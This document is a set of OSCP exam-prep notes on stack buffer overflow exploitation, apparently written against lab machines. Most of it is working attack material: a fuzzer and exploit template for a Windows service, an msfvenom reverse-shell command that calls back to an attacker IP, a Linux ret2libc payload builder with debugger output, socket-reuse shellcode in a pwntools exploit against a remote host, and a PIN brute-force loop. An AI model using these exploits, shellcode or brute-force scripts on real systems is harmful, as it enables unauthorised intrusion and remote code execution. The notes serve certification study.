Buffer Overflow

Buffer Overflow notes for Windows 32bits in order to pass OSCP exam!

Windows 32 bits

Stack-Based

For that task we are going to use a Windows 7 x64 with Immunity Debugger and mona.py installed.

Mona configuration

!mona config -set workingfolder c:\mona\%p

Fuzz to find the vulnerable input

fuzzer.py

import socket, time, sys

ip = "10.10.95.202"
port = 1337
timeout = 5

buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        s.recv(1024)
        print("Fuzzing with %s bytes" % len(string))
        s.send("OVERFLOW1 " + string + "\r\n")
        s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)

Crash Replication & Crontrolling EIP

exploit.py

import socket

ip = "10.10.95.202"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

create a pattern: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600

And add the output to a payload variable and exploited.

take notes about the EIP and search the offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q EIP

Check adding BBBB value to retn variable.

Finding Bad Characters

Find the characters that are not accepted on the payload. (REMEMBER FILL THE EIP)

!mona bytearray -b "\x00"

And add the output to the payload variable (without the offset)

Finally compare the binary file with the stack frame specifying the ESP.

!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP>

Repeat the process adding the new bad characters found until the results status returns UNMODIFIED

!mona bytearray -b "\x00\x07\x2e\xa0"

Note: If the ESP direction does not match with the beginning of the payload fill it with NOPS (normally is "\x90"*8)

Finding a Jump Point

Find all "jmp esp" on the system !mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

Remember: Don't Forget to put the BAD CHARS founded.

Log data, item 11
 Address=625011AF
 Message=  0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)

REMBEMBER LITTLE ENDIAN \x62\x50\x11\xAF (system) -> \xAF\x11\x50\x62 (exploit)

Put the adress on the "retn" variable. If the EIP is the same as ESP you success at jummping to ESP.

Generate the Payload

We will generate the payload with msfvenom, (DON'T FORGET TO PUT THE FOUND BAD CHARS)``

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.11.21.203 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f py

| sed 's/buf/payload/g'

Hint: Using EXITFUNC=thread will only finish the thread once termintad the reverse shell without affecting the whole program. -> NO DoS

Copy the generated payload ant integrate it into the exploit.py

Prepend NOPs

We will need some space in memory for the payload to unpack itself, if we added a padding before to match the beginning of the payload with ESP add another 16 NOPS.

padding = "\x90" * 16

Linux 32 bits

Ret2Libc (Localy)

For that task we are going to use a Kali with gdb-peda installed:

Running the binary with GDB

❯ gdb rop
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from rop...
(No debugging symbols found in rop)

gdb-peda$ r "Hello World"
Starting program: /home/mvaliente/KaliShared/ctf/HackTheBox/Frolic/content/rop "Hello World"
[+] Message sent: Hello World[Inferior 1 (process 379963) exited normally]
Warning: not running
gdb-peda$ 

Notice that we get a message in GDB telling us that the the process was detached after a fork from the child process. We can fix that by setting the following commands in GDB.

gdb-peda$ set follow-fork-mode child
gdb-peda$ set detach-on-fork off

Finding the offset

  • Create the pattern

Create a randomized pattern in order to find the offset with the EIP value.

gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
  • Find the offset

Run the binary with the pattern.

gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
Starting program: /home/mvaliente/KaliShared/ctf/HackTheBox/Frolic/content/rop 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x79 ('y')
EBX: 0xffffcd20 --> 0x2 
ECX: 0x0 
EDX: 0x5f ('_')
ESI: 0xf7faa000 --> 0x1e4d6c 
EDI: 0xf7faa000 --> 0x1e4d6c 
EBP: 0x31414162 ('bAA1')
ESP: 0xffffccf0 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41474141 ('AAGA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41474141
[------------------------------------stack-------------------------------------]
0000| 0xffffccf0 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffccf4 ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffccf8 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffccfc ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffcd00 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffcd04 ("AA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffcd08 ("AJAAfAA5AAKAAgAA6AAL")
0028| 0xffffcd0c ("fAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41474141 in ?? ()
gdb-peda$ 

EIP: 0x41474141 ('AAGA')

Once we have the EIP we will search the offset value with the pattern:

gdb-peda$ pattern_offset 0x41474141
1095188801 found at offset: 52

Offset: 52

  • Check results

Now run the binary with a randomized offset and a controlled EIP like 'BBBB'.

❯ python3 -c 'print("A"*52 + 'BBBB')'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

And finally run the binary with the payload

gdb-peda$ r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Starting program: /home/mvaliente/KaliShared/ctf/HackTheBox/Frolic/content/rop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x38 ('8')
EBX: 0xffffcd50 --> 0x2 
ECX: 0x0 
EDX: 0x0 
ESI: 0xf7faa000 --> 0x1e4d6c 
EDI: 0xf7faa000 --> 0x1e4d6c 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcd20 --> 0xffffd000 ("ared/ctf/HackTheBox/Frolic/content/rop")
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffcd20 --> 0xffffd000 ("ared/ctf/HackTheBox/Frolic/content/rop")
0004| 0xffffcd24 --> 0xffffcdf4 --> 0xffffcfea ("/home/mvaliente/KaliShared/ctf/HackTheBox/Frolic/content/rop")
0008| 0xffffcd28 --> 0xffffce00 --> 0xffffd060 ("COLORFGBG=15;0")
0012| 0xffffcd2c --> 0x8048561 (<__libc_csu_init+33>:   lea    eax,[ebx-0xf8])
0016| 0xffffcd30 --> 0xffffcd50 --> 0x2 
0020| 0xffffcd34 --> 0x0 
0024| 0xffffcd38 --> 0x0 
0028| 0xffffcd3c --> 0xf7de3e46 (<__libc_start_main+262>:       add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$ 

EIP: 0x42424242 ('BBBB') CORRECT RESULT

  • Check Security

With gdb-peda :

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

To check ASLR you can check the following file on the target machine:

cat /proc/sys/kernel/randomize_va_space

Checking the results:

ResultASLRPIE

0

OFF

OFF

1

ON

ON

2

OFF

OFF

  • Finding Addresses

- libc.so.6

❯ ldd rop                 
        linux-gate.so.1 =>  (0xb7fda000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
        /lib/ld-linux.so.2 (0xb7fdb000)

libc.so.6: /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)

- system

❯ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system            
   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

system@@GLIBC_2.0: 0x0003ada0

- exit

❯ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit              
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

exit@@GLIBC_2.0: 0x0002e9d0

- /bin/sh

❯ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
</.binary$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh         
 15ba0b /bin/sh

/bin/sh: 0x0015ba0b

  • Create the exploit

This is a template:

import struct

offset = 52
overflow = "A" * offset

libc = 0xb7e19000

system = struct.pack('<I', libc + 0x0003ada0)
exit = struct.pack('<I', libc + 0x0002e9d0)
binsh = struct.pack('<I', libc + 0x0015ba0b)

payload = overflow + system + exit + binsh
print(payload)
  • Explotation

Finally we just need to transfer the file to the target machine and executed

❯ ./rop $(python /tmp/exploit.py)

# id
uid=0(root) gid=33(www-data) groups=33(www-data)

Stack-Based (Remotely)

Same as Ret2Libc we need to control the EIP. When we successfuly control the EIP we need to check which security is enabled:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : ENABLED
RELRO     : Partial

We can see that PIE is enabled which stands for Position Independent Executable. This means that the memory locations will change every time you run the application. This makes exploiting buffer overflows harder. However, in that example of BoF there was a DEBUG parameter that gave us the location of the buffer overflow-able field.

❯ nc 10.10.10.34 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS admin
Debug: userpass buffer @ 0xffffd610
Incorrect username and/or password.
ERR Authentication failed.

Socket Re-Use

Instead of spawning a reverse shell that maybe give problems to us with bad characters we can re-use the open socket.

The following shellcode works to re-use the socket.

buf=b""
buf+=b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf+=b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf+=b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf+=b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf+=b"\x89\xe3\x31\xc9\xcd\x80";

Fitting the exploit

Finally we just need to fit all parts together and make the exploit:

from pwn import *
# Initial Configuration

context(os="linux", arch="i386")
host = "10.10.10.34"
port = "7411"

# Junk Bytes

junk = b'A' * 28

# UserPass Leaked memory
addr = p32(0xffffd610+32) 

# Payload to reuse the socket
buf=b""
buf+=b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf+=b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf+=b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf+=b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf+=b"\x89\xe3\x31\xc9\xcd\x80";

payload = junk + addr + buf

r = remote(host, port, level='error')
r.recvline()
r.sendline("DEBUG")
r.recvline()
r.sendline("USER admin")
r.recvline()
r.sendline("PASS " + payload)

r.interactive()

Example pwntools

from pwn import *

for i in range(0, 9999):
    code = "0" * (4- len(str(i))) + str(i)
    # r = process("./mypapp")
    r = remote("localhost", 910, level='error')
    r.recvuntil("[$] ")
    r.sendline(code)
    response = r.recvline()
    r.close()
    if b"Access denied" not in response:
        log.success("Valid code found " + code)
        break

Last updated